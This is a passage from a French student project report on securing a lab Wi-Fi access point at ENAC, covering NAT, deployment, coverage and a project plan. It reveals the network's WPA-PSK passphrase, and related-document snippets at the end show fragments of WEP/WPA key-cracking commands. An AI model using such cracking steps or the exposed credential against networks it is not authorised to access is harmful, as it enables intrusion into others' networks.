précédent). Cette solution permet d’empêcher toute entité extérieure au réseau local de communiquer des données à une machine du réseau. ‐ 25 ‐ 192.168.1.2 192.168.1.3
192.168.1.10
Utilisation des adresses de type 10.31.4.X
Extérieur (Internet) 10.31.4.1 192.168.1.1
Passerelle NAT
Utilisation des adresses de type 192.168.1.X
Certains des mécanismes présentés précédemment sont difficilement applicables. En effet, toujours avec le souci d’offrir une souplesse d’utilisation, un filtrage par adresse MAC nécessite de lister les adresses des matériels des différents visiteurs pour les autoriser. Pour les mêmes raisons, l’utilisation d’un serveur d’authentification peut se révéler fastidieuse. Ce choix s’avère donc être en accord avec les avancées technologiques. Ceci s’explique par le fait que les mécanismes de sécurité récemment développé ont été réalisé avec la motivation de palier aux faiblesses des mécanismes existants et de rendre l’utilisation de réseaux sans fil crédible. Néanmoins, chaque mécanisme de sécurité vise une utilisation ciblée du Wi‐Fi et il est donc nécessaire de décortiquer chacun d’entre eux afin de choisir la meilleure solution adaptée à son utilisation. ‐ 26 ‐ V ‐ Déploiement et Bilan Nous avons procédé au déploiement du point d’accès Wi‐Fi au LTST le mardi 16 janvier 2007. Ce déploiement nous a demandé à peu près 3h. Le déroulement a été le suivant : Installation du routeur : il suffisait de le brancher sur le secteur et de le connecter à la station prévue à cet effet. Configuration du routeur : la configuration complète figure dans le manuel d’utilisation. Concernant les informations principales, nous avons donc choisi d’utiliser du WPA‐PSK (TKIP) comme mode d’encryption avec une « pass phrase » suffisamment longue : « ltst wifi jan/07 ». Configuration de notre station : il s’agissait de vérifier que l’on pouvait bien utiliser le réseau sans fil. La configuration utilisateur figure elle aussi dans le manuel d’utilisation. Vérification du bon fonctionnement. Nous avons rencontré quelques difficultés lors du déploiement. Tout d’abord, nous avons eu du mal à retrouver les adresses IP utilisables sur le réseau local. Nous nous sommes donc adressé à Pascal Brisset qui nous a fourni les différentes informations voulues. Ensuite, les utilisateurs du laboratoire utilisent le proxy « squid ». C’est là que nous avons rencontré les plus grosses difficultés. Le premier souci provenait du fait que sur le réseau local, il n’y avait pas de résolution de noms et le proxy était donc introuvable. Il a donc fallu le compléter par : « squid.recherche.enac.fr ». N’ayant pas identifié ce problème, nous avons donc effectué différentes modifications de manière assez rapide. Or le routeur ne tient pas compte de toutes les modifications de manière dynamique. Ainsi, nous n’avons pas réussi à localiser la source du problème avant l’arrivée de notre maître de projet. Nous avons finalement réussi à installer le point d’accès complètement. Nous avons aussi eu l’occasion de nous concerter avec Christophe Macabiau. Il nous a donc listé quelques inconvénients relatifs à la solution installée l’année précédente. En particulier, le LTST est exposé à des coupures de courant intempestives. Il fallait donc reconfigurer le système à chaque reprise du courant. Notre solution permet de stocker la configuration sur le routeur et résout ainsi ce problème. Ensuite, l’essor de la technologie Wi‐Fi a rendu les réseaux sans fil assez communs. En particulier, on peut trouver plusieurs réseaux sans fil dans les différents laboratoires de l’ENAC. ‐ 27 ‐ Il fallait donc pouvoir utiliser une attribution automatique des adresses IP pour éviter la configuration de la station utilisateur à chaque fois. Ce n’était jusqu’ici pas le cas. Enfin, il fallait pouvoir utiliser l’accès Wi‐Fi dans tout le laboratoire que ce soit pour les utilisateurs ou les chercheurs du LTST. Nous avons donc vérifié que le signal était disponible dans tout le laboratoire. Voici un plan approximatif du laboratoire : Le code des couleurs est simple : plus le remplissage est foncé, plus le signal est bon. On constate une forte baisse du signal lorsqu’on sort du laboratoire qui reste tout de même correct jusque dans les escaliers situés à la sortie du LTST. On capte aussi le signal à l’étage du dessous. Cette constatation nous permet d’ailleurs de préciser que toute personne mal intentionnée désirant utiliser le réseau Wi‐Fi devra donc se trouver dans le laboratoire ou utiliser une antenne destinée à amplifier le signal du réseau. Pour conclure, la solution pour laquelle nous avons opté semble donc répondre aux besoins des utilisateurs du LTST que ce soit en termes de disponibilité, de confidentialité et d’intégrité. ‐ 28 ‐ Annexes Remerciements Nicolas Larrieu Antoine Blais Pascal Brisset Christophe Macabiau Glossaire ARP : Address Resolution Protocol ASCII : American Standard Code for Information Interchange BSS : Basic Service Set BSSID : BSS IDentifier CRC : Cyclic Redundancy Check DS : Distribution System EAP : Extensible Authentication Protocol ENAC : Ecole Nationale de l’Aviation Civile ESS : Service Set ESSID : ESS IDentifier FMS : Fuhler, Martin et Shamir (du nom des chercheurs) IEC : International Electrotechnical Commission IEEE : Institute of Electical and Electronics Engineers IV : Initialization Vector LLC : Logical Link Control LTST : Laboratoire de Traitement du Signal et des Télécommunications MAC : Medium Access Control MIC : Message Integrity Code ‐ 29 ‐ NAT : Network Address Translation PC : Personal Computer PCI : Peripheral Component Interconnect PDA : Personal Digital Assistant PSK : Pre Shared Key RC4 : Ron’s Code (4) RFC : Request For Comment TKIP : Temporal Key Integrity Protocol UMTS : Universal Mobile Telecommunications System USB : Universal Serial Bus WECA : Wireless Ethernet Compatibility Alliance WEP : Wired Equivalent Privacy Wi‐Fi : Wireless Fidelity WLAN : Wi‐Fi Local Area Network WPA : Wi‐fi Protected Access WPA‐PSK : WPA Pre‐Shared Key WPAN : Wi‐Fi Private Area Network WMAN : Wi‐Fi Metropolitan Area Network WWAN : Wi‐Fi World Area Network Particularités L’anglais et le français utilise les acronymes ISO et OSI différemment. ISO : Interconnexion des systèmes ouverts OSI : Organisation des standards Internationaux ISO : International Standards Organisation ‐ 30 ‐ OSI : Open System Interconnection Bibliographie Ouvrage « Wi‐Foo, Piratage et défense des réseaux sans fil » par Andrew A. Vladimirov, Konstantin V. Gavrilenko et Andrei A. Mikhailovsky, Campus Presse, 2005 Liens internets www.wikipedia.org http://www.commentcamarche.net/wifi/wifisecu.php3 http://www.uqtr.ca/~delisle/Crypto/prives/flux_rc4.php http://www.nantes‐wireless.org/pages/wiki http://www.workingwireless.net/wireless/Documents/wirelessxtreme/wep_attack.h
tml http://reseau.erasme.org/rubrique.php3?id_rubrique=38 http://www.drizzle.com/~aboba/IEEE/ http://www.tuto‐fr.com/tutoriaux/tutorial‐crack‐wep‐aircrack.php http://www.commentcamarche.net/wifi/wifiintro.php3 http://www.commentcamarche.net/faq/sujet‐3020‐wifi‐cours‐d‐introduction http://www.piaf.asso.fr/spip.php?article225 http://web.ccr.jussieu.fr/ccr/services/csr/reseauxsansfil/insecuritereseauxsansfil.htm http://www.cru.fr/nomadisme‐sans‐fil/docs/Securite‐lien‐radio.html ‐ 31 ‐ Gestion de Projet Plan de développement Réalisé par Julien CUNY et Marangai MOEROA. Objectifs Mettre à disposition des visiteurs du laboratoire LTST de l’ENAC une connexion Internet sécurisée via un accès Wi‐Fi. Contenu technique Notions fondamentales de sécurité Notions de réseau sans fil Définition des exigences et de la qualité requise Choisir une politique de sécurité et de gestion du réseau Wi‐Fi : Qui autorise les visiteurs à accéder à Internet Qui empêche les visiteurs de s’introduire dans le réseau local Qui empêche les intrus de pirater la connexion La politique de sécurité mise on œuvre devra assurer « le meilleur » compromis entre souplesse et performance d’utilisation. Déployer le système Documents applicables et de référence Plan de développement type, cours de Catherine Duminil et Véronique Manneville Terminologie ENAC : Ecole Nationale de l’Aviation Civile Exploit : Technique de piratage qui consiste à exploiter une faille de sécurité LTST : Laboratoire de Traitement du Signal et des Télécommunications PBS : Product Breakdown Structure WBS : Work Breakdown Structure Wi‐Fi : Wireless Fidelity ‐ 32 ‐ Décomposition de la fourniture L’arborescence des produits (PBS) et le découpage en tâches (WBS) sont présentés en annexes. Démarche de développement Pour mener à bien ce projet, nous avons décidé d’adopter la démarche suivante : S’initier au réseau local de type Wi‐Fi en étudiant de manière théorique les mécanismes de sécurité les plus répandus Mettre en pratique les connaissances acquises en réalisant des exploits Enfin, effectuer les meilleurs choix afin d’assurer le « meilleur » compromis entre la sécurité et la performance d’utilisation. Chacune des étapes de cette démarche est développée en annexe. Concernant le matériel utilisé, il a été imposé par le client (Nicolas Larrieu). Néanmoins, pour faciliter la deuxième étape de ce projet, nous avons effectué quelques achats supplémentaires en matériel informatique. Organisation Etant donné la taille du projet, nous avons choisi d’effectuer toutes les tâches en binôme. En effet, pour se familiariser avec les mécanismes de sécurité des réseaux sans fil, il nous est nécessaire d’effectuer les études théoriques et les exploits. Nous avons donc choisi de réaliser ces actions ensemble pour acquérir des connaissances d’un niveau similaire. Concernant la rédaction des différents documents liés au projet, nous avons simplement alterné les rôles « rédacteur » / « contrôleur ». Planning général prévisionnel Le planning prévisionnel d’ordonnancement apparaît en annexe. Les cases noircies correspondent aux réunions avec le maître de stage. Elles ont lieu une fois par semaine, en général le vendredi. Présentation du suivi Une fois déployé, aucun suivi du système ne sera assuré. Identification et suivi des risques La sécurité d’un réseau n’est pas une fin en soi. Il s’agit d’évaluer les pertes possibles (informations, financières, …) et les coûts induits pour les éviter. Ainsi, il n’est pas exclu que la sécurité mise en place soit un jour mise à mal par une personne mal intentionnée. Aucun suivi ne sera assuré par nous après le déploiement du système. ‐ 33 ‐ Déploiement et Sécurisation d’un Point d’Accès Wi‐Fi
Rédaction des Documents Etude Théorique
Exploit
Présentation Soutenance Rapport de Projet Plan de Développement
Manuel d’Utilisation Annexe 1 ‐ Project Breakdown Structure
‐ 34 ‐ Déploiement
Déploiement et Sécurisation d’un Point d’Accès Wi‐Fi
Rédiger les documents Réaliser l’étude théorique Réaliser l’exploit
Présentation Soutenance Rapport de Projet Plan de Développement
Manuel d’Utilisation Annexe 2 ‐ Work Breakdown Structure
‐ 35 ‐ Réaliser le déploiement Annexe 3 ‐ Plan d'ordonnancement (1/2)
‐ 36 ‐ Annexe 4 ‐ Plan d'ordonnancement (2/2)
‐ 37 ‐ Annexe 5 – Description des tâches (1/2)
‐ 38 ‐ Annexe 6 – Description des tâches (2/2)
‐ 39 ‐ 

Documents pareils

Casser une clé WEP ou WPA - Navigation du site[Passer]

Casser une clé WEP ou WPA - Navigation du site[Passer] tentative. Le -e annonce le nom du réseau, qui est par exemple Jean . Attention, Backtrack est une distribution Linux, il faut respecter la casse (majuscules et minuscules). Le -a est pour l'adress...

Plus en détail

Crack de clé WEP

Crack de clé WEP -x 600 -r out-01.cap wlan0 Livebox-a1b2: essid (nom du réseau wifi) 00:16:41:C9:E0:3F: adresse mac du point d'accès 00:12:F0:6F:ED:38: adresse mac du client ("station" sous airodump-ng) 600: nombre...

Plus en détail